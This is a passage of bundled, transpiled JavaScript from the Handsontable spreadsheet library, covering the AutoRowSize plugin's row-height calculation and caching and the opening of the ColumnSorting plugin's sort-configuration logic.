for generating samples necessary for rows height calculations. * * @private * @type {SamplesGenerator} */ _this.samplesGenerator = new _samplesGenerator.default(function (row, col) { var cellValue; if (row >= 0) { cellValue = _this.hot.getDataAtCell(row, col); } else if (row === -1) { cellValue = _this.hot.getColHeader(col); } return { value: cellValue }; }); /** * `true` if only the first calculation was performed. * * @private * @type {Boolean} */ _this.firstCalculation = true; /** * `true` if the size calculation is in progress. * * @type {Boolean} */ _this.inProgress = false; // moved to constructor to allow auto-sizing the rows when the plugin is disabled _this.addHook('beforeRowResize', function (row, size, isDblClick) { return _this.onBeforeRowResize(row, size, isDblClick); }); return _this; } /** * Checks if the plugin is enabled in the handsontable settings. This method is executed in {@link Hooks#beforeInit} * hook and if it returns `true` than the {@link AutoRowSize#enablePlugin} method is called. * * @returns {Boolean} */ _createClass(AutoRowSize, [{ key: "isEnabled", value: function isEnabled() { return this.hot.getSettings().autoRowSize === true || (0, _object.isObject)(this.hot.getSettings().autoRowSize); } /** * Enables the plugin functionality for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this2 = this; if (this.enabled) { return; } this.setSamplingOptions(); this.addHook('afterLoadData', function () { return _this2.onAfterLoadData(); }); this.addHook('beforeChange', function (changes) { return _this2.onBeforeChange(changes); }); this.addHook('beforeColumnMove', function () { return _this2.recalculateAllRowsHeight(); }); this.addHook('beforeColumnResize', function () { return _this2.recalculateAllRowsHeight(); }); this.addHook('beforeColumnSort', function () { return _this2.clearCache(); }); this.addHook('beforeRender', function (force) { return _this2.onBeforeRender(force); }); this.addHook('beforeRowMove', function (rowStart, rowEnd) { return _this2.onBeforeRowMove(rowStart, rowEnd); }); this.addHook('modifyRowHeight', function (height, row) { return _this2.getRowHeight(row, height); }); this.addHook('modifyColumnHeaderHeight', function () { return _this2.getColumnHeaderHeight(); }); _get(_getPrototypeOf(AutoRowSize.prototype), "enablePlugin", this).call(this); } /** * Disables the plugin functionality for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { _get(_getPrototypeOf(AutoRowSize.prototype), "disablePlugin", this).call(this); } /** * Calculate a given rows height. * * @param {Number|Object} rowRange Row index or an object with `from` and `to` indexes as a range. * @param {Number|Object} colRange Column index or an object with `from` and `to` indexes as a range. * @param {Boolean} [force=false] If `true` the calculation will be processed regardless of whether the width exists in the cache. */ }, { key: "calculateRowsHeight", value: function calculateRowsHeight() { var _this3 = this; var rowRange = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : { from: 0, to: this.hot.countRows() - 1 }; var colRange = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : { from: 0, to: this.hot.countCols() - 1 }; var force = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; var rowsRange = typeof rowRange === 'number' ? { from: rowRange, to: rowRange } : rowRange; var columnsRange = typeof colRange === 'number' ? { from: colRange, to: colRange } : colRange; if (this.hot.getColHeader(0) !== null) { var samples = this.samplesGenerator.generateRowSamples(-1, columnsRange); this.ghostTable.addColumnHeadersRow(samples.get(-1)); } (0, _number.rangeEach)(rowsRange.from, rowsRange.to, function (row) { // For rows we must calculate row height even when user had set height value manually. // We can shrink column but cannot shrink rows! if (force || _this3.heights[row] === void 0) { var _samples = _this3.samplesGenerator.generateRowSamples(row, columnsRange); (0, _array.arrayEach)(_samples, function (_ref) { var _ref2 = _slicedToArray(_ref, 2), rowIndex = _ref2[0], sample = _ref2[1]; return _this3.ghostTable.addRow(rowIndex, sample); }); } }); if (this.ghostTable.rows.length) { this.ghostTable.getHeights(function (row, height) { _this3.heights[row] = height; }); this.ghostTable.clean(); } } /** * Calculate all rows heights. The calculated row will be cached in the {@link AutoRowSize#heights} property. * To retrieve height for specyfied row use {@link AutoRowSize#getRowHeight} method. * * @param {Object|Number} rowRange Row index or an object with `from` and `to` properties which define row range. */ }, { key: "calculateAllRowsHeight", value: function calculateAllRowsHeight() { var _this4 = this; var colRange = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : { from: 0, to: this.hot.countCols() - 1 }; var current = 0; var length = this.hot.countRows() - 1; var timer = null; this.inProgress = true; var loop = function loop() { // When hot was destroyed after calculating finished cancel frame if (!_this4.hot) { (0, _feature.cancelAnimationFrame)(timer); _this4.inProgress = false; return; } _this4.calculateRowsHeight({ from: current, to: Math.min(current + AutoRowSize.CALCULATION_STEP, length) }, colRange); current = current + AutoRowSize.CALCULATION_STEP + 1; if (current < length) { timer = (0, _feature.requestAnimationFrame)(loop); } else { (0, _feature.cancelAnimationFrame)(timer); _this4.inProgress = false; // @TODO Should call once per render cycle, currently fired separately in different plugins _this4.hot.view.wt.wtOverlays.adjustElementsSize(true); // tmp if (_this4.hot.view.wt.wtOverlays.leftOverlay.needFullRender) { _this4.hot.view.wt.wtOverlays.leftOverlay.clone.draw(); } } }; var syncLimit = this.getSyncCalculationLimit(); // sync if (this.firstCalculation && syncLimit >= 0) { this.calculateRowsHeight({ from: 0, to: syncLimit }, colRange); this.firstCalculation = false; current = syncLimit + 1; } // async if (current < length) { loop(); } else { this.inProgress = false; this.hot.view.wt.wtOverlays.adjustElementsSize(false); } } /** * Sets the sampling options. * * @private */ }, { key: "setSamplingOptions", value: function setSamplingOptions() { var setting = this.hot.getSettings().autoRowSize; var samplingRatio = setting && (0, _object.hasOwnProperty)(setting, 'samplingRatio') ? this.hot.getSettings().autoRowSize.samplingRatio : void 0; var allowSampleDuplicates = setting && (0, _object.hasOwnProperty)(setting, 'allowSampleDuplicates') ? this.hot.getSettings().autoRowSize.allowSampleDuplicates : void 0; if (samplingRatio && !isNaN(samplingRatio)) { this.samplesGenerator.setSampleCount(parseInt(samplingRatio, 10)); } if (allowSampleDuplicates) { this.samplesGenerator.setAllowDuplicates(allowSampleDuplicates); } } /** * Recalculates all rows height (overwrite cache values). */ }, { key: "recalculateAllRowsHeight", value: function recalculateAllRowsHeight() { if ((0, _element.isVisible)(this.hot.view.wt.wtTable.TABLE)) { this.clearCache(); this.calculateAllRowsHeight(); } } /** * Gets value which tells how many rows should be calculated synchronously (rest of the rows will be calculated * asynchronously). The limit is calculated based on `syncLimit` set to autoRowSize option (see {@link Options#autoRowSize}). * * @returns {Number} */ }, { key: "getSyncCalculationLimit", value: function getSyncCalculationLimit() { /* eslint-disable no-bitwise */ var limit = AutoRowSize.SYNC_CALCULATION_LIMIT; var rowsLimit = this.hot.countRows() - 1; if ((0, _object.isObject)(this.hot.getSettings().autoRowSize)) { limit = this.hot.getSettings().autoRowSize.syncLimit; if ((0, _string.isPercentValue)(limit)) { limit = (0, _number.valueAccordingPercent)(rowsLimit, limit); } else { // Force to Number limit >>= 0; } } return Math.min(limit, rowsLimit); } /** * Gets the calculated row height. * * @param {Number} row Visual row index. * @param {Number} [defaultHeight] Default row height. It will be picked up if no calculated height found. * @returns {Number} */ }, { key: "getRowHeight", value: function getRowHeight(row) { var defaultHeight = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : void 0; var height = defaultHeight; if (this.heights[row] !== void 0 && this.heights[row] > (defaultHeight || 0)) { height = this.heights[row]; } return height; } /** * Get the calculated column header height. * * @returns {Number|undefined} */ }, { key: "getColumnHeaderHeight", value: function getColumnHeaderHeight() { return this.heights[-1]; } /** * Get the first visible row. * * @returns {Number|null} Returns row index, -1 if table is not rendered or null if there are no rows to base the the calculations on. */ }, { key: "getFirstVisibleRow", value: function getFirstVisibleRow() { var wot = this.hot.view.wt; if (wot.wtViewport.rowsVisibleCalculator) { return wot.wtTable.getFirstVisibleRow(); } if (wot.wtViewport.rowsRenderCalculator) { return wot.wtTable.getFirstRenderedRow(); } return -1; } /** * Gets the last visible row. * * @returns {Number} Returns row index or -1 if table is not rendered. */ }, { key: "getLastVisibleRow", value: function getLastVisibleRow() { var wot = this.hot.view.wt; if (wot.wtViewport.rowsVisibleCalculator) { return wot.wtTable.getLastVisibleRow(); } if (wot.wtViewport.rowsRenderCalculator) { return wot.wtTable.getLastRenderedRow(); } return -1; } /** * Clears cached heights. */ }, { key: "clearCache", value: function clearCache() { this.heights.length = 0; this.heights[-1] = void 0; } /** * Clears cache by range. * * @param {Object|Number} range Row index or an object with `from` and `to` properties which define row range. */ }, { key: "clearCacheByRange", value: function clearCacheByRange(range) { var _this5 = this; var _ref3 = typeof range === 'number' ? { from: range, to: range } : range, from = _ref3.from, to = _ref3.to; (0, _number.rangeEach)(Math.min(from, to), Math.max(from, to), function (row) { _this5.heights[row] = void 0; }); } /** * Checks if all heights were calculated. If not then return `true` (need recalculate). * * @returns {Boolean} */ }, { key: "isNeedRecalculate", value: function isNeedRecalculate() { return !!(0, _array.arrayFilter)(this.heights, function (item) { return item === void 0; }).length; } /** * On before render listener. * * @private */ }, { key: "onBeforeRender", value: function onBeforeRender() { var force = this.hot.renderCall; var fixedRowsBottom = this.hot.getSettings().fixedRowsBottom; var firstVisibleRow = this.getFirstVisibleRow(); var lastVisibleRow = this.getLastVisibleRow(); if (firstVisibleRow === null || lastVisibleRow === null) { return; } this.calculateRowsHeight({ from: firstVisibleRow, to: lastVisibleRow }, void 0, force); // Calculate rows height synchronously for bottom overlay if (fixedRowsBottom) { var totalRows = this.hot.countRows() - 1; this.calculateRowsHeight({ from: totalRows - fixedRowsBottom, to: totalRows }); } if (this.isNeedRecalculate() && !this.inProgress) { this.calculateAllRowsHeight(); } } /** * On before row move listener. * * @private * @param {Number} from Row index where was grabbed. * @param {Number} to Destination row index. */ }, { key: "onBeforeRowMove", value: function onBeforeRowMove(from, to) { this.clearCacheByRange({ from: from, to: to }); this.calculateAllRowsHeight(); } /** * On before row resize listener. * * @private * @param {Number} row * @param {Number} size * @param {Boolean} isDblClick * @returns {Number} */ }, { key: "onBeforeRowResize", value: function onBeforeRowResize(row, size, isDblClick) { var newSize = size; if (isDblClick) { this.calculateRowsHeight(row, void 0, true); newSize = this.getRowHeight(row); } return newSize; } /** * On after load data listener. * * @private */ }, { key: "onAfterLoadData", value: function onAfterLoadData() { var _this6 = this; if (this.hot.view) { this.recalculateAllRowsHeight(); } else { // first load - initialization setTimeout(function () { if (_this6.hot) { _this6.recalculateAllRowsHeight(); } }, 0); } } /** * On before change listener. * * @private * @param {Array} changes */ }, { key: "onBeforeChange", value: function onBeforeChange(changes) { var range = null; if (changes.length === 1) { range = changes[0][0]; } else if (changes.length > 1) { range = { from: changes[0][0], to: changes[changes.length - 1][0] }; } if (range !== null) { this.clearCacheByRange(range); } } /** * Destroys the plugin instance. */ }, { key: "destroy", value: function destroy() { this.ghostTable.clean(); _get(_getPrototypeOf(AutoRowSize.prototype), "destroy", this).call(this); } }]); return AutoRowSize; }(_base.default); (0, _plugins.registerPlugin)('autoRowSize', AutoRowSize); var _default = AutoRowSize; exports.default = _default; /***/ }), /* 671 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _mixed = __webpack_require__(14); var _object = __webpack_require__(2); var _array = __webpack_require__(3); var _number = __webpack_require__(9); var _base = _interopRequireDefault(__webpack_require__(15)); var _plugins = __webpack_require__(13); var _pluginHooks = _interopRequireDefault(__webpack_require__(22)); var _keyStateObserver = __webpack_require__(123); var _columnStatesManager = __webpack_require__(672); var _utils = __webpack_require__(432); var _domHelpers = __webpack_require__(673); var _rowsMapper = _interopRequireDefault(__webpack_require__(674)); var _rootComparator = __webpack_require__(675); var _sortService = __webpack_require__(78); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _nonIterableSpread(); } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance"); } function _iterableToArray(iter) { if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } } function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; var ownKeys = Object.keys(source); if (typeof Object.getOwnPropertySymbols === 'function') { ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { return Object.getOwnPropertyDescriptor(source, sym).enumerable; })); } ownKeys.forEach(function (key) { _defineProperty(target, key, source[key]); }); } return target; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; } function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } var APPEND_COLUMN_CONFIG_STRATEGY = 'append'; var REPLACE_COLUMN_CONFIG_STRATEGY = 'replace'; var PLUGIN_KEY = 'columnSorting'; (0, _sortService.registerRootComparator)(PLUGIN_KEY, _rootComparator.rootComparator); _pluginHooks.default.getSingleton().register('beforeColumnSort'); _pluginHooks.default.getSingleton().register('afterColumnSort'); // DIFF - MultiColumnSorting & ColumnSorting: changed configuration documentation. /** * @plugin ColumnSorting * * @description * This plugin sorts the view by columns (but does not sort the data source!). To enable the plugin, set the * {@link Options#columnSorting} property to the correct value (see the examples below). * * @example * ```js * // as boolean * columnSorting: true * * // as an object with initial sort config (sort ascending for column at index 1) * columnSorting: { * initialConfig: { * column: 1, * sortOrder: 'asc' * } * } * * // as an object which define specific sorting options for all columns * columnSorting: { * sortEmptyCells: true, // true = the table sorts empty cells, false = the table moves all empty cells to the end of the table (by default) * indicator: true, // true = shows indicator for all columns (by default), false = don't show indicator for columns * headerAction: true, // true = allow to click on the headers to sort (by default), false = turn off possibility to click on the headers to sort * compareFunctionFactory: function(sortOrder, columnMeta) { * return function(value, nextValue) { * // Some value comparisons which will return -1, 0 or 1... * } * } * } * * // as an object passed to the `column` property, allows specifying a custom options for the desired column. * // please take a look at documentation of `column` property: https://docs.handsontable.com/pro/Options.html#columns * columns: [{ * columnSorting: { * indicator: false, // disable indicator for the first column, * sortEmptyCells: true, * headerAction: false, // clicks on the first column won't sort * compareFunctionFactory: function(sortOrder, columnMeta) { * return function(value, nextValue) { * return 0; // Custom compare function for the first column (don't sort) * } * } * } * }]``` * * @dependencies ObserveChanges */ var ColumnSorting = /*#__PURE__*/ function (_BasePlugin) { _inherits(ColumnSorting, _BasePlugin); function ColumnSorting(hotInstance) { var _this2; _classCallCheck(this, ColumnSorting); _this2 = _possibleConstructorReturn(this, _getPrototypeOf(ColumnSorting).call(this, hotInstance)); /** * Instance of column state manager. * * @private * @type {ColumnStatesManager} */ _this2.columnStatesManager = new _columnStatesManager.ColumnStatesManager(); /** * Object containing visual row indexes mapped to data source indexes. * * @private * @type {RowsMapper} */ _this2.rowsMapper = new _rowsMapper.default(_assertThisInitialized(_assertThisInitialized(_this2))); /** * It blocks the plugin translation, this flag is checked inside `onModifyRow` callback. * * @private * @type {Boolean} */ _this2.blockPluginTranslation = true; /** * Cached column properties from plugin like i.e. `indicator`, `headerAction`. * * @private * @type {Map} */ _this2.columnMetaCache = new Map(); /** * Main settings key designed for the plugin. * * @private * @type {String} */ _this2.pluginKey = PLUGIN_KEY; return _this2; } /** * Checks if the plugin is enabled in the Handsontable settings. This method is executed in {@link Hooks#beforeInit} * hook and if it returns `true` than the {@link ColumnSorting#enablePlugin} method is called. * * @returns {Boolean} */ _createClass(ColumnSorting, [{ key: "isEnabled", value: function isEnabled() { return !!this.hot.getSettings()[this.pluginKey]; } /** * Enables the plugin functionality for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this3 = this; if (this.enabled) { return; } if ((0, _mixed.isUndefined)(this.hot.getSettings().observeChanges)) { this.enableObserveChangesPlugin(); } this.addHook('afterTrimRow', function () { return _this3.sortByPresetSortStates(); }); this.addHook('afterUntrimRow', function () { return _this3.sortByPresetSortStates(); }); this.addHook('modifyRow', function (row, source) { return _this3.onModifyRow(row, source); }); this.addHook('unmodifyRow', function (row, source) { return _this3.onUnmodifyRow(row, source); }); this.addHook('afterGetColHeader', function (column, TH) { return _this3.onAfterGetColHeader(column, TH); }); this.addHook('beforeOnCellMouseDown', function (event, coords, TD, controller) { return _this3.onBeforeOnCellMouseDown(event, coords, TD, controller); }); this.addHook('afterOnCellMouseDown', function (event, target) { return _this3.onAfterOnCellMouseDown(event, target); }); this.addHook('afterCreateRow', function (index, amount) { return _this3.onAfterCreateRow(index, amount); }); this.addHook('afterRemoveRow', function (index, amount) { return _this3.onAfterRemoveRow(index, amount); }); this.addHook('afterInit', function () { return _this3.loadOrSortBySettings(); }); this.addHook('afterLoadData', function (initialLoad) { return _this3.onAfterLoadData(initialLoad); }); this.addHook('afterCreateCol', function () { return _this3.onAfterCreateCol(); }); this.addHook('afterRemoveCol', function () { return _this3.onAfterRemoveCol(); }); // TODO: Workaround? It should be refactored / described. if (this.hot.view) { this.loadOrSortBySettings(); } _get(_getPrototypeOf(ColumnSorting.prototype), "enablePlugin", this).call(this); } /** * Disables the plugin functionality for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { var _this4 = this; var clearColHeader = function clearColHeader(column, TH) { var headerSpanElement = (0, _utils.getHeaderSpanElement)(TH); if ((0, _utils.isFirstLevelColumnHeader)(column, TH) === false || headerSpanElement === null) { return; } _this4.updateHeaderClasses(headerSpanElement); }; // Changing header width and removing indicator. this.hot.addHook('afterGetColHeader', clearColHeader); this.hot.addHookOnce('afterRender', function () { _this4.hot.removeHook('afterGetColHeader', clearColHeader); }); this.rowsMapper.clearMap(); _get(_getPrototypeOf(ColumnSorting.prototype), "disablePlugin", this).call(this); } // DIFF - MultiColumnSorting & ColumnSorting: changed function documentation. /** * Sorts the table by chosen columns and orders. * * @param {undefined|Object} sortConfig Single column sort configuration. The configuration object contains `column` and `sortOrder` properties. * First of them contains visual column index, the second one contains sort order (`asc` for ascending, `desc` for descending). * * **Note**: Please keep in mind that every call of `sort` function set an entirely new sort order. Previous sort configs aren't preserved. * * @example * ```js * // sort ascending first visual column * hot.getPlugin('columnSorting').sort({ column: 0, sortOrder: 'asc' }); * ``` * * @fires Hooks#beforeColumnSort * @fires Hooks#afterColumnSort */ }, { key: "sort", value: function sort(sortConfig) { var _this5 = this; var currentSortConfig = this.getSortConfig(); // We always pass configs defined as an array to `beforeColumnSort` and `afterColumnSort` hooks. var destinationSortConfigs = this.getNormalizedSortConfigs(sortConfig); var sortPossible = this.areValidSortConfigs(destinationSortConfigs); var allowSort = this.hot.runHooks('beforeColumnSort', currentSortConfig, destinationSortConfigs, sortPossible); if (allowSort === false) { return; } if (sortPossible) { var translateColumnToPhysical = function translateColumnToPhysical(_ref) { var visualColumn = _ref.column, restOfProperties = _objectWithoutProperties(_ref, ["column"]); return _objectSpread({ column: _this5.hot.toPhysicalColumn(visualColumn) }, restOfProperties); }; var internalSortStates = (0, _array.arrayMap)(destinationSortConfigs, function (columnSortConfig) { return translateColumnToPhysical(columnSortConfig); }); this.columnStatesManager.setSortStates(internalSortStates); this.sortByPresetSortStates(); this.saveAllSortSettings(); this.hot.render(); this.hot.view.wt.draw(true); // TODO: Workaround? One test won't pass after removal. It should be refactored / described. } this.hot.runHooks('afterColumnSort', currentSortConfig, this.getSortConfig(), sortPossible); } /** * Clear the sort performed on the table. */ }, { key: "clearSort", value: function clearSort() { this.sort([]); } /** * Checks if the table is sorted (any column have to be sorted). * * @returns {Boolean} */ }, { key: "isSorted", value: function isSorted() { return this.enabled && !this.columnStatesManager.isListOfSortedColumnsEmpty(); } /** * Get sort configuration for particular column or for all sorted columns. Objects contain `column` and `sortOrder` properties. * * **Note**: Please keep in mind that returned objects expose **visual** column index under the `column` key. They are handled by the `sort` function. * * @param {Number} [column] Visual column index. * @returns {undefined|Object|Array} */ }, { key: "getSortConfig", value: function getSortConfig(column) { var _this6 = this; var translateColumnToVisual = function translateColumnToVisual(_ref2) { var physicalColumn = _ref2.column, restOfProperties = _objectWithoutProperties(_ref2, ["column"]); return _objectSpread({ column: _this6.hot.toVisualColumn(physicalColumn) }, restOfProperties); }; if ((0, _mixed.isDefined)(column)) { var physicalColumn = this.hot.toPhysicalColumn(column); var columnSortState = this.columnStatesManager.getColumnSortState(physicalColumn); if ((0, _mixed.isDefined)(columnSortState)) { return translateColumnToVisual(columnSortState); } return; } var sortStates = this.columnStatesManager.getSortStates(); return (0, _array.arrayMap)(sortStates, function (columnState) { return translateColumnToVisual(columnState); }); } /** * @description * Warn: Useful mainly for providing server side sort implementation (see in the example below). It doesn't sort the data set. It just sets sort configuration for all sorted columns. * * @example * ```js * beforeColumnSort: function(currentSortConfig, destinationSortConfigs) { * const columnSortPlugin = this.getPlugin('columnSorting'); * * columnSortPlugin.setSortConfig(destinationSortConfigs); * * // const newData = ... // Calculated data set, ie. from an AJAX call. * * // this.loadData(newData); // Load new data set. * * return false; // The blockade for the default sort action. * }``` * * @param {undefined|Object|Array} sortConfig Single column sort configuration or full sort configuration (for all sorted columns). * The configuration object contains `column` and `sortOrder` properties. First of them contains visual column index, the second one contains * sort order (`asc` for ascending, `desc` for descending). */ }, { key: "setSortConfig", value: function setSortConfig(sortConfig) { var _this7 = this; // We always set configs defined as an array. var destinationSortConfigs = this.getNormalizedSortConfigs(sortConfig); if (this.areValidSortConfigs(destinationSortConfigs)) { var translateColumnToPhysical = function translateColumnToPhysical(_ref3) { var visualColumn = _ref3.column, restOfProperties = _objectWithoutProperties(_ref3, ["column"]); return _objectSpread({ column: _this7.hot.toPhysicalColumn(visualColumn) }, restOfProperties); }; var internalSortStates = (0, _array.arrayMap)(destinationSortConfigs, function (columnSortConfig) { return translateColumnToPhysical(columnSortConfig); }); this.columnStatesManager.setSortStates(internalSortStates); } } /** * Get normalized sort configs. * * @private * @param {Object|Array} [sortConfig=[]] Single column sort configuration or full sort configuration (for all sorted columns). * The configuration object contains `column` and `sortOrder` properties. First of them contains visual column index, the second one contains * sort order (`asc` for ascending, `desc` for descending). * @returns {Array} */ }, { key: "getNormalizedSortConfigs", value: function getNormalizedSortConfigs() { var sortConfig = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : []; if (Array.isArray(sortConfig)) { return sortConfig.slice(0, 1); } return [sortConfig].slice(0, 1); } /** * Get if sort configs are valid. * * @private * @param {Array} sortConfigs Sort configuration for all sorted columns. Objects contain `column` and `sortOrder` properties. * @returns {Boolean} */ }, { key: "areValidSortConfigs", value: function areValidSortConfigs(sortConfigs) { if (Array.isArray(sortConfigs) === false) { return false; } var sortedColumns = sortConfigs.map(function (_ref4) { var column = _ref4.column; return column; }); var numberOfColumns = this.hot.countCols(); var onlyExistingVisualIndexes = sortedColumns.every(function (visualColumn) { return visualColumn <= numberOfColumns && visualColumn >= 0; }); return (0, _utils.areValidSortStates)(sortConfigs) && onlyExistingVisualIndexes; // We don't translate visual indexes to physical indexes. } /** * Saves all sorting settings. Saving works only when {@link Options#persistentState} option is enabled. * * @private * @fires Hooks#persistentStateSave */ }, { key: "saveAllSortSettings", value: function saveAllSortSettings() { var allSortSettings = this.columnStatesManager.getAllColumnsProperties(); allSortSettings.initialConfig = this.columnStatesManager.getSortStates(); this.hot.runHooks('persistentStateSave', 'columnSorting', allSortSettings); } /** * Get all saved sorting settings. Loading works only when {@link Options#persistentState} option is enabled. * * @private * @returns {Object} Previously saved sort settings. * * @fires Hooks#persistentStateLoad */ }, { key: "getAllSavedSortSettings", value: function getAllSavedSortSettings() { var _this8 = this; var storedAllSortSettings = {}; this.hot.runHooks('persistentStateLoad', 'columnSorting', storedAllSortSettings); var allSortSettings = storedAllSortSettings.value; var translateColumnToVisual = function translateColumnToVisual(_ref5) { var physicalColumn = _ref5.column, restOfProperties = _objectWithoutProperties(_ref5, ["column"]); return _objectSpread({ column: _this8.hot.toVisualColumn(physicalColumn) }, restOfProperties); }; if ((0, _mixed.isDefined)(allSortSettings) && Array.isArray(allSortSettings.initialConfig)) { allSortSettings.initialConfig = (0, _array.arrayMap)(allSortSettings.initialConfig, translateColumnToVisual); } return allSortSettings; } /** * Get next sort configuration for particular column. Object contain `column` and `sortOrder` properties. * * **Note**: Please keep in mind that returned object expose **visual** column index under the `column` key. * * @private * @param {Number} column Visual column index. * @returns {undefined|Object} */ }, { key: "getColumnNextConfig", value: function getColumnNextConfig(column) { var physicalColumn = this.hot.toPhysicalColumn(column); if (this.columnStatesManager.isColumnSorted(physicalColumn)) { var columnSortConfig = this.getSortConfig(column); var sortOrder = (0, _utils.getNextSortOrder)(columnSortConfig.sortOrder); if ((0, _mixed.isDefined)(sortOrder)) { columnSortConfig.sortOrder = sortOrder; return columnSortConfig; } return; } var nrOfColumns = this.hot.countCols(); if (Number.isInteger(column) && column >= 0 && column < nrOfColumns) { return { column: column, sortOrder: (0, _utils.getNextSortOrder)() }; } } /** * Get sort configuration with "next order" for particular column. * * @private * @param {Number} columnToChange Visual column index of column which order will be changed. * @param {String} strategyId ID of strategy. Possible values: 'append' and 'replace'. The first one * change order of particular column and change it's position in the sort queue to the last one. The second one * just change order of particular column. * * **Note**: Please keep in mind that returned objects expose **visual** column index under the `column` key. * * @returns {Array} */ }, { key: "getNextSortConfig", value: function getNextSortConfig(columnToChange) { var strategyId = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : APPEND_COLUMN_CONFIG_STRATEGY; var physicalColumn = this.hot.toPhysicalColumn(columnToChange); var indexOfColumnToChange = this.columnStatesManager.getIndexOfColumnInSortQueue(physicalColumn); var isColumnSorted = this.columnStatesManager.isColumnSorted(physicalColumn); var currentSortConfig = this.getSortConfig(); var nextColumnConfig = this.getColumnNextConfig(columnToChange); if (isColumnSorted) { if ((0, _mixed.isUndefined)(nextColumnConfig)) { return [].concat(_toConsumableArray(currentSortConfig.slice(0, indexOfColumnToChange)), _toConsumableArray(currentSortConfig.slice(indexOfColumnToChange + 1))); } if (strategyId === APPEND_COLUMN_CONFIG_STRATEGY) { return [].concat(_toConsumableArray(currentSortConfig.slice(0, indexOfColumnToChange)), _toConsumableArray(currentSortConfig.slice(indexOfColumnToChange + 1)), [nextColumnConfig]); } else if (strategyId === REPLACE_COLUMN_CONFIG_STRATEGY) { return [].concat(_toConsumableArray(currentSortConfig.slice(0, indexOfColumnToChange)), [nextColumnConfig], _toConsumableArray(currentSortConfig.slice(indexOfColumnToChange + 1))); } } if ((0, _mixed.isDefined)(nextColumnConfig)) { return currentSortConfig.concat(nextColumnConfig); } return currentSortConfig; } /** * Saves to cache part of plugins related properties, properly merged from cascade settings. * * @private * @param {Number} column Visual column index. * @returns {Object} */ // TODO: Workaround. Inheriting of non-primitive cell meta values doesn't work. Using this function we don't count // merged properties few times. }, { key: "setMergedPluginSettings", value: function setMergedPluginSettings(column) { var physicalColumnIndex = this.hot.toPhysicalColumn(column); var pluginMainSettings = this.hot.getSettings()[this.pluginKey]; var storedColumnProperties = this.columnStatesManager.getAllColumnsProperties(); var cellMeta = this.hot.getCellMeta(0, column); var columnMeta = Object.getPrototypeOf(cellMeta); var columnMetaHasPluginSettings = Object.hasOwnProperty.call(columnMeta, 